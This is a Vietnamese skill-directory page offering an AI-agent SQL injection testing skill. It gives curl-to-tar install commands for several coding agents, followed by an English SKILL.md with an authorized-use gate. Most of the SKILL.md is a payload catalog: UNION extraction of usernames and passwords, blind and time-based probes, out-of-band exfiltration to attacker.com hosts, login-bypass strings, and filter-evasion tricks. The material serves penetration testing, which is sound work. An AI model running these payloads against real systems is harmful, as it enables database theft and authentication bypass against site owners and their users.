sql-injection-testing – skill Dữ liệu & Khoa học cho agent AI
Thực hiện đánh giá toàn diện lỗ hổng SQL injection trên ứng dụng web để tìm lỗi bảo mật cơ sở dữ liệu, minh họa kỹ thuật khai thác và kiểm tra cơ chế làm sạch đầu vào.
Cài skill sql-injection-testing bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/sql-injection-testing-1e4de.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /sql-injection-testing – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/sql-injection-testing-1e4de.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $sql-injection-testing – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/sql-injection-testing-1e4de.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /sql-injection-testing – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/sql-injection-testing-1e4de.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /sql-injection-testing – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
SQL Injection Testing
Purpose
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
Inputs / Prerequisites
Required Access
- Target web application URL with injectable parameters
- Burp Suite or equivalent proxy tool for request manipulation
- SQLMap installation for automated exploitation
- Browser with developer tools enabled
Technical Requirements
- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
- Knowledge of HTTP request/response cycle
- Familiarity with database schemas and structures
- Write permissions for testing reports
Legal Prerequisites
- Written authorization for penetration testing
- Defined scope including target URLs and parameters
- Emergency contact procedures established
- Data handling agreements in place
Outputs / Deliverables
Primary Outputs
- SQL injection vulnerability report with severity ratings
- Extracted database schemas and table structures
- Authentication bypass proof-of-concept demonstrations
- Remediation recommendations with code examples
Evidence Artifacts
- Screenshots of successful injections
- HTTP request/response logs
- Database dumps (sanitized)
- Payload documentation
Core Workflow
Phase 1: Detection and Reconnaissance
Identify Injectable Parameters
Locate user-controlled input fields that interact with database queries:
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-ForTest for Basic Vulnerability Indicators
Insert special characters to trigger error responses:
-- Single quote test
'
-- Double quote test
"
-- Comment sequences
--
#
/**/
-- Semicolon for query stacking
;
-- Parentheses
)Monitor application responses for:
- Database error messages revealing query structure
- Unexpected application behavior changes
- HTTP 500 Internal Server errors
- Modified response content or length
Logic Testing Payloads
Verify boolean-based vulnerability presence:
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--Compare responses between true and false conditions to confirm injection capability.
Phase 2: Exploitation Techniques
UNION-Based Extraction
Combine attacker-controlled SELECT statements with original query:
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--Error-Based Extraction
Force database errors that leak information:
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--Blind Boolean-Based Extraction
Infer data through application behavior changes:
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--Time-Based Blind Extraction
Use database sleep functions for confirmation:
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--Out-of-Band (OOB) Extraction
Lab-only illustrations. Replace all callback domains with the explicitly authorized test receiver; do not contact the literal example domains or send real data. Network callbacks may require DB-specific privileges, platform support and egress.
Exfiltrate data through external channels:
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--Phase 3: Authentication Bypass
Login Form Exploitation
Craft payloads to bypass credential verification:
-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2Query transformation example:
-- Original query
SELECT * FROM users WHERE username='input' AND password='input' -- security-allowlist: controlled SQL injection test example
-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example
-- Password check bypassed via commentPhase 4: Filter Bypass Techniques
Character Encoding Bypass
These historical payloads are parser/filter-specific, not portable bypasses. Unicode lookalikes, null bytes and comments inserted inside keywords often do not parse as SQL. Validate only against a declared database/version in an authorized fixture.
When special characters are blocked:
-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)
-- Double URL encoding
%2527 (single quote)
-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)
-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hexWhitespace Bypass
Substitute blocked spaces:
-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users
-- Alternative whitespace
SELECT%09username%09FROM%09users -- Tab character
SELECT%0Ausername%0AFROM%0Ausers -- NewlineKeyword Bypass
Evade blacklisted SQL keywords:
-- Case variation
SeLeCt, sElEcT, SELECT
-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION
-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION
-- Null byte injection
%00SELECT
SEL%00ECTQuick Reference
Detection Test Sequence
1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delayDatabase Fingerprinting
-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$versionInformation Schema Queries
-- MySQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- MSSQL: use the intended schema in the current authorized database
SELECT table_name FROM information_schema.tables WHERE table_schema='dbo'
-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'Common Payloads Quick List
| Purpose | Payload |
|---------|---------|
| Basic test | ' or " |
| Boolean true | OR 1=1-- |
| Boolean false | AND 1=2-- |
| Comment (MySQL)
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- sql-optimization-patterns – Chẩn đoán SQL chậm bằng query plan, giữ nguyên kết quả truy vấn và xác minh thay đổi chỉ…
- sql-pro – Thành thạo SQL hiện đại với cơ sở dữ liệu cloud-native, tối ưu OLTP/OLAP và kỹ thuật…
- sql-sentinel – Kiểm tra SQL để tìm các anti-pattern về chi phí và hiệu năng làm tốn credit kho dữ liệu…
- sqlmap-database-pentesting – Cung cấp phương pháp có hệ thống để phát hiện và khai thác SQL injection tự động bằng…
- startup-analyst – Chuyên gia phân tích kinh doanh startup, chuyên về ước lượng thị trường, mô hình tài…
- startup-business-analyst-market-opportunity – Tạo phân tích cơ hội thị trường toàn diện với phép tính TAM/SAM/SOM
- startup-financial-modeling – Xây dựng mô hình tài chính toàn diện 3-5 năm với dự báo doanh thu, cấu trúc chi phí…
- statsmodels – Statsmodels là thư viện hàng đầu của Python về mô hình hóa thống kê, cung cấp công cụ…